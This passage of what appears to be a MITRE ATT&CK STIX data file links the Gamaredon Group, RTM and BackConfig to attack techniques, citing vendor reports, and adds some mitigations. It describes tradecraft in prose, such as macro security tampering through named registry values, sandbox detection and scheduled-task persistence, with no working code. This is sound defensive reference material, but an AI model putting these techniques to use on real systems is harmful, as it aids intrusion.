            "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used GitHub repositories for downloaders which will be obtained by the group's .NET executable on the compromised system.(Citation: ESET Gamaredon June 2020)\t",
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            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "external_references": [
                {
                    "source_name": "ESET Gamaredon June 2020",
                    "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/",
                    "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."
                }
            ],
            "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has created a scheduled task to launch an executable every 10 minutes.(Citation: ESET Gamaredon June 2020)\t",
            "relationship_type": "uses",
            "id": "relationship--d65c9c85-2206-46c0-b55b-4fe2bd022c41",
            "type": "relationship",
            "modified": "2020-06-16T17:53:18.776Z",
            "created": "2020-06-16T17:53:18.776Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf",
            "target_ref": "attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617",
            "external_references": [
                {
                    "source_name": "ESET Gamaredon June 2020",
                    "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/",
                    "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."
                }
            ],
            "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has compiled the source code for a downloader directly on the infected system using the built-in <code>Microsoft.CSharp.CSharpCodeProvider</code> class.(Citation: ESET Gamaredon June 2020)\t",
            "relationship_type": "uses",
            "id": "relationship--2278eb19-1ff4-4406-ab79-03108732330c",
            "type": "relationship",
            "modified": "2020-06-16T17:53:18.779Z",
            "created": "2020-06-16T17:53:18.779Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf",
            "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5",
            "external_references": [
                {
                    "source_name": "ESET Gamaredon June 2020",
                    "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/",
                    "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."
                }
            ],
            "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has obfuscated .NET executables by inserting junk code.(Citation: ESET Gamaredon June 2020)\t",
            "relationship_type": "uses",
            "id": "relationship--28c17b23-901c-46d5-84f2-544401f68d83",
            "type": "relationship",
            "modified": "2020-06-16T17:53:18.782Z",
            "created": "2020-06-16T17:53:18.782Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "external_references": [
                {
                    "source_name": "ESET Gamaredon June 2020",
                    "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/",
                    "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."
                }
            ],
            "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) macros can scan for Microsoft Word and Excel files to inject with additional malicious macros. [Gamaredon Group](https://attack.mitre.org/groups/G0047) has also used its backdoors to automatically list interesting files (such as Office documents) found on a system.(Citation: ESET Gamaredon June 2020)\t",
            "relationship_type": "uses",
            "id": "relationship--16b915ff-7bf5-4032-b39a-9c8073847d77",
            "type": "relationship",
            "modified": "2020-08-31T15:06:48.852Z",
            "created": "2020-06-16T17:53:18.787Z"
        },
        {
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            ],
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            "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579",
            "external_references": [
                {
                    "source_name": "ESET Gamaredon June 2020",
                    "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/",
                    "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."
                }
            ],
            "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has delivered macros which can tamper with Microsoft Office security settings.(Citation: ESET Gamaredon June 2020)\t",
            "relationship_type": "uses",
            "id": "relationship--7464b3a1-f7ab-481b-97d4-c98199e0a387",
            "type": "relationship",
            "modified": "2020-06-16T17:53:18.825Z",
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        },
        {
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            ],
            "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf",
            "target_ref": "attack-pattern--9e7452df-5144-4b6e-b04a-b66dd4016747",
            "external_references": [
                {
                    "source_name": "ESET Gamaredon June 2020",
                    "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/",
                    "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."
                }
            ],
            "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used an Outlook VBA module on infected systems to send phishing emails with malicious attachments to other employees within the organization.(Citation: ESET Gamaredon June 2020)",
            "relationship_type": "uses",
            "id": "relationship--109bbda3-f97a-4067-81d6-ed635f251282",
            "type": "relationship",
            "modified": "2020-06-22T19:08:12.489Z",
            "created": "2020-06-16T17:53:18.964Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "external_references": [
                {
                    "source_name": "ESET Gamaredon June 2020",
                    "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/",
                    "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."
                }
            ],
            "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has removed security settings for VBA macro execution by changing registry values <code>HKCU\\Software\\Microsoft\\Office\\&lt;version&gt;\\&lt;product&gt;\\Security\\VBAWarnings</code> and <code>HKCU\\Software\\Microsoft\\Office\\&lt;version&gt;\\&lt;product&gt;\\Security\\AccessVBOM</code>.(Citation: ESET Gamaredon June 2020)",
            "relationship_type": "uses",
            "id": "relationship--5edb6931-3262-40a9-acce-3016ac4153d4",
            "type": "relationship",
            "modified": "2021-01-20T22:20:21.337Z",
            "created": "2020-06-16T17:53:19.061Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "source_name": "ESET Gamaredon June 2020",
                    "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/",
                    "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."
                }
            ],
            "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has delivered self-extracting 7z archive files within malicious document attachments, and used obfuscated or encrypted scripts.(Citation: ESET Gamaredon June 2020)",
            "relationship_type": "uses",
            "id": "relationship--dd84b767-1623-421b-8f31-048924be5f17",
            "type": "relationship",
            "modified": "2020-08-31T15:06:48.855Z",
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        },
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            ],
            "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8",
            "target_ref": "attack-pattern--70857657-bd0b-4695-ad3e-b13f92cac1b4",
            "relationship_type": "mitigates",
            "description": "Routinely check user permissions to ensure only the expected users have the capability to delete new instances.",
            "id": "relationship--ba3d7819-9e07-4d90-93f1-e5fe9c63201f",
            "type": "relationship",
            "modified": "2020-09-14T19:55:23.259Z",
            "created": "2020-06-16T18:32:29.496Z"
        },
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            "target_ref": "attack-pattern--70857657-bd0b-4695-ad3e-b13f92cac1b4",
            "relationship_type": "mitigates",
            "description": "Limit permissions for deleting new instances in accordance with least privilege. Organizations should limit the number of users within the organization with an IAM role that has administrative privileges, strive to reduce all permanent privileged role assignments, and conduct periodic entitlement reviews on IAM users, roles and policies.(Citation: Mandiant M-Trends 2020)",
            "id": "relationship--393a7e7b-0fe7-4b93-920f-fc1b62652c5a",
            "external_references": [
                {
                    "source_name": "Mandiant M-Trends 2020",
                    "url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020",
                    "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020."
                }
            ],
            "type": "relationship",
            "modified": "2020-09-14T19:55:23.273Z",
            "created": "2020-06-16T18:32:29.507Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "attack-pattern--0708ae90-d0eb-4938-9a76-d0fc94f6eec1",
            "target_ref": "attack-pattern--144e007b-e638-431d-a894-45d90c54ab90",
            "relationship_type": "subtechnique-of",
            "id": "relationship--8b66ef05-63ad-4b12-b6b3-9a44475d781c",
            "type": "relationship",
            "modified": "2020-06-16T18:42:20.836Z",
            "created": "2020-06-16T18:42:20.836Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--3b4121aa-fc8b-40c8-ac4f-afcb5838b72c",
            "target_ref": "attack-pattern--0708ae90-d0eb-4938-9a76-d0fc94f6eec1",
            "relationship_type": "revoked-by",
            "id": "relationship--a03f53c2-4445-4ca5-ab2a-624afcbb9ea4",
            "type": "relationship",
            "modified": "2020-06-16T18:44:16.269Z",
            "created": "2020-06-16T18:44:16.269Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
                {
                    "source_name": "Unit42 Redaman January 2019",
                    "url": "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/",
                    "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."
                }
            ],
            "description": "[RTM](https://attack.mitre.org/software/S0148) has initiated connections to external domains using HTTPS.(Citation: Unit42 Redaman January 2019)\t",
            "relationship_type": "uses",
            "id": "relationship--b1c26420-ee32-44db-9158-781d38d7cc3b",
            "type": "relationship",
            "modified": "2020-06-16T20:51:12.866Z",
            "created": "2020-06-16T20:51:12.866Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
            "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
            "external_references": [
                {
                    "source_name": "Unit42 Redaman January 2019",
                    "url": "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/",
                    "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."
                }
            ],
            "description": "[RTM](https://attack.mitre.org/software/S0148) has named the scheduled task it creates \"Windows Update\".(Citation: Unit42 Redaman January 2019)",
            "relationship_type": "uses",
            "id": "relationship--874d4046-5b9a-4f60-88f4-79ae63a70a1e",
            "type": "relationship",
            "modified": "2020-06-16T20:51:13.038Z",
            "created": "2020-06-16T20:51:13.038Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
            "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d",
            "external_references": [
                {
                    "source_name": "Unit42 Redaman January 2019",
                    "url": "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/",
                    "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."
                }
            ],
            "description": "[RTM](https://attack.mitre.org/software/S0148) can detect if it is running within a sandbox or other virtualized analysis environment.(Citation: Unit42 Redaman January 2019)\t",
            "relationship_type": "uses",
            "id": "relationship--73d5e6ab-9d0c-4884-9db0-02033523e61a",
            "type": "relationship",
            "modified": "2020-06-16T20:51:13.040Z",
            "created": "2020-06-16T20:51:13.040Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
            "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "external_references": [
                {
                    "source_name": "Unit42 Redaman January 2019",
                    "url": "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/",
                    "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."
                }
            ],
            "description": "[RTM](https://attack.mitre.org/software/S0148) has relied on users opening malicious email attachments, decompressing the attached archive, and double-clicking the executable within.(Citation: Unit42 Redaman January 2019)",
            "relationship_type": "uses",
            "id": "relationship--e0b775d4-cfc4-4075-a72b-6a866ef3c159",
            "type": "relationship",
            "modified": "2020-06-16T20:51:13.210Z",
            "created": "2020-06-16T20:51:13.210Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
            "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0",
            "external_references": [
                {
                    "source_name": "Unit42 Redaman January 2019",
                    "url": "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/",
                    "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."
                }
            ],
            "description": "[RTM](https://attack.mitre.org/software/S0148) has been delivered as archived Windows executable files masquerading as PDF documents.(Citation: Unit42 Redaman January 2019)\t",
            "relationship_type": "uses",
            "id": "relationship--f981c633-9333-4c7d-a168-7bea28f64d52",
            "type": "relationship",
            "modified": "2020-06-16T20:51:13.213Z",
            "created": "2020-06-16T20:51:13.213Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
            "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
            "external_references": [
                {
                    "source_name": "Unit42 Redaman January 2019",
                    "url": "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/",
                    "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."
                }
            ],
            "description": "[RTM](https://attack.mitre.org/software/S0148) has been delivered via spearphishing attachments disguised as PDF documents.(Citation: Unit42 Redaman January 2019)",
            "relationship_type": "uses",
            "id": "relationship--2b948c49-f65d-4e60-969f-229030b4d311",
            "type": "relationship",
            "modified": "2020-06-16T20:51:13.228Z",
            "created": "2020-06-16T20:51:13.228Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462",
            "target_ref": "attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e",
            "relationship_type": "mitigates",
            "description": "Remove vulnerable Group Policy Preferences.(Citation: Microsoft MS14-025)",
            "id": "relationship--b3a191f3-59be-4457-ad5c-085ea0391bfe",
            "external_references": [
                {
                    "source_name": "Microsoft MS14-025",
                    "description": "Microsoft. (2014, May 13). MS14-025: Vulnerability in Group Policy Preferences could allow elevation of privilege. Retrieved January 28, 2015.",
                    "url": "http://support.microsoft.com/kb/2962486"
                }
            ],
            "type": "relationship",
            "modified": "2020-06-17T14:25:38.427Z",
            "created": "2020-06-17T13:45:45.043Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--c13d9621-aca7-436b-ab3d-3a95badb3d00",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
                {
                    "source_name": "Unit 42 BackConfig May 2020",
                    "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/",
                    "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."
                }
            ],
            "description": "[BackConfig](https://attack.mitre.org/software/S0475) has the ability to use HTTPS for C2 communiations.(Citation: Unit 42 BackConfig May 2020)",
            "relationship_type": "uses",
            "id": "relationship--c3086516-a419-4e7f-87c4-e37f08d0f27a",
            "type": "relationship",
            "modified": "2020-06-29T15:22:59.188Z",
            "created": "2020-06-17T20:39:12.746Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--c13d9621-aca7-436b-ab3d-3a95badb3d00",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "external_references": [
                {
                    "source_name": "Unit 42 BackConfig May 2020",
                    "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/",
                    "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."
                }
            ],
            "description": "[BackConfig](https://attack.mitre.org/software/S0475) has used a custom routine to decrypt strings.(Citation: Unit 42 BackConfig May 2020)",
            "relationship_type": "uses",
            "id": "relationship--e823be4b-50b9-4430-9010-e960b46bdfcc",
            "type": "relationship",
            "modified": "2020-06-17T20:39:12.751Z",
            "created": "2020-06-17T20:39:12.751Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--c13d9621-aca7-436b-ab3d-3a95badb3d00",
            "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9",
            "external_references": [
                {
                    "source_name": "Unit 42 BackConfig May 2020",
                    "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/",
                    "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."
                }
            ],
            "description": "[BackConfig](https://attack.mitre.org/software/S0475) has compromised victims via links to URLs hosting malicious content.(Citation: Unit 42 BackConfig May 2020)",
            "relationship_type": "uses",
            "id": "relationship--efcd3e1b-d17b-4c7f-97fd-b438ebef6760",
            "type": "relationship",
            "modified": "2020-06-29T15:22:59.285Z",
            "created": "2020-06-17T20:39:12.755Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
            "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58",
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf",
                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
                    "source_name": "ESET RTM Feb 2017"
                }
            ],
            "description": "[RTM](https://attack.mitre.org/software/S0148) can scan victim drives to look for specific banking software on the machine to determine next actions.(Citation: ESET RTM Feb 2017)",
            "relationship_type": "uses",
            "id": "relationship--f60ed279-c720-4906-9e63-3cd7ce49e1e0",
            "type": "relationship",
            "modified": "2020-06-18T16:12:54.219Z",
            "created": "2020-06-18T16:12:54.219Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
            "target_ref": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d",
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf",
                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
                    "source_name": "ESET RTM Feb 2017"
                }
            ],
            "description": "[RTM](https://attack.mitre.org/software/S0148) can search for specific strings within browser tabs using a Dynamic Data Exchange mechanism.(Citation: ESET RTM Feb 2017)",
            "relationship_type": "uses",
            "id": "relationship--6975d10a-91bf-4a22-8353-745de444c594",
            "type": "relationship",
            "modified": "2020-06-18T16:12:54.239Z",
            "created": "2020-06-18T16:12:54.239Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
            "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf",
                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
                    "source_name": "ESET RTM Feb 2017"
                }
            ],
            "description": "[RTM](https://attack.mitre.org/software/S0148) can use the <code>FindNextUrlCacheEntryA</code> and <code>FindFirstUrlCacheEntryA</code> functions to search for specific strings within browser history.(Citation: ESET RTM Feb 2017)",
            "relationship_type": "uses",
            "id": "relationship--9ae8ed36-348a-4053-bfa2-81fd0cc774aa",
            "type": "relationship",
            "modified": "2020-06-18T16:12:54.243Z",
            "created": "2020-06-18T16:12:54.243Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--c13d9621-aca7-436b-ab3d-3a95badb3d00",
            "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d",
            "external_references": [
                {
                    "source_name": "Unit 42 BackConfig May 2020",
                    "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/",
                    "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."
                }
            ],
            "description": "[BackConfig](https://attack.mitre.org/software/S0475) has the ability to set folders or files to be hidden from the Windows Explorer default view.(Citation: Unit 42 BackConfig May 2020)",
            "relationship_type": "uses",
            "id": "relationship--bf0fd2a9-0852-4a4e-a806-281c0a7d63e3",
            "type": "relationship",
            "modified": "2020-06-18T17:27:09.295Z",
            "created": "2020-06-18T17:27:09.295Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--c13d9621-aca7-436b-ab3d-3a95badb3d00",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "external_references": [
                {
                    "source_name": "Unit 42 BackConfig May 2020",
                    "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/",
                    "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."
                }
            ],
            "description": "[BackConfig](https://attack.mitre.org/software/S0475) has the ability to remove files and folders related to previous infections.(Citation: Unit 42 BackConfig May 2020)",
            "relationship_type": "uses",
            "id": "relationship--73d8feea-0b53-419a-be1b-5750aa47f2df",
            "type": "relationship",
            "modified": "2020-06-18T17:27:09.323Z",
            "created": "2020-06-18T17:27:09.323Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--c13d9621-aca7-436b-ab3d-3a95badb3d00",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "external_references": [
                {
                    "source_name": "Unit 42 BackConfig May 2020",
                    "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/",
                    "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."
                }
            ],
            "description": "[BackConfig](https://attack.mitre.org/software/S0475) has the ability to use scheduled tasks to repeatedly execute malicious payloads on a compromised host.(Citation: Unit 42 BackConfig May 2020)",
            "relationship_type": "uses",
            "id": "relationship--c0417cdc-0451-41e3-8937-88e9ebd68d1a",
            "type": "relationship",
            "modified": "2020-06-29T15:59:07.632Z",
            "created": "2020-06-18T17:27:09.352Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--c13d9621-aca7-436b-ab3d-3a95badb3d00",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "source_name": "Unit 42 BackConfig May 2020",
                    "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/",
                    "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."
                }
            ],
            "description": "[BackConfig](https://attack.mitre.org/software/S0475) has used compressed and decimal encoded VBS scripts.(Citation: Unit 42 BackConfig May 2020)",
            "relationship_type": "uses",
            "id": "relationship--b82ea861-86df-4574-9727-f0d5828e9fe8",
            "type": "relationship",
            "modified": "2020-06-18T17:27:09.381Z",
            "created": "2020-06-18T17:27:09.381Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--c13d9621-aca7-436b-ab3d-3a95badb3d00",
            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "external_references": [
                {
                    "source_name": "Unit 42 BackConfig May 2020",
                    "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/",
                    "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."
                }
            ],
            "description": "[BackConfig](https://attack.mitre.org/software/S0475) has used VBS to install its downloader component and malicious documents with VBA macro code.(Citation: Unit 42 BackConfig May 2020)",
            "relationship_type": "uses",
            "id": "relationship--0614fc3b-614c-4d50-9ae2-ab526160faf5",
            "type": "relationship",
            "modified": "2020-06-24T20:29:46.211Z",
            "created": "2020-06-18T17:27:09.385Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--c13d9621-aca7-436b-ab3d-3a95badb3d00",
            "target_ref": "attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21",
            "external_references": [
                {
                    "source_name": "Unit 42 BackConfig May 2020",
                    "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/",
                    "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."
                }
            ],
            "description": "[BackConfig](https://attack.mitre.org/software/S0475) has the ability to use hidden columns in Excel spreadsheets to store executable files or commands for VBA macros.(Citation: Unit 42 BackConfig May 2020)",
            "relationship_type": "uses",
            "id": "relationship--66ce5052-08d8-4160-a8c9-f3e6b9e5cd1f",
            "type": "relationship",
            "modified": "2020-06-29T15:22:59.269Z",
            "created": "2020-06-18T17:27:09.388Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
            "target_ref": "malware--c13d9621-aca7-436b-ab3d-3a95badb3d00",
            "external_references": [
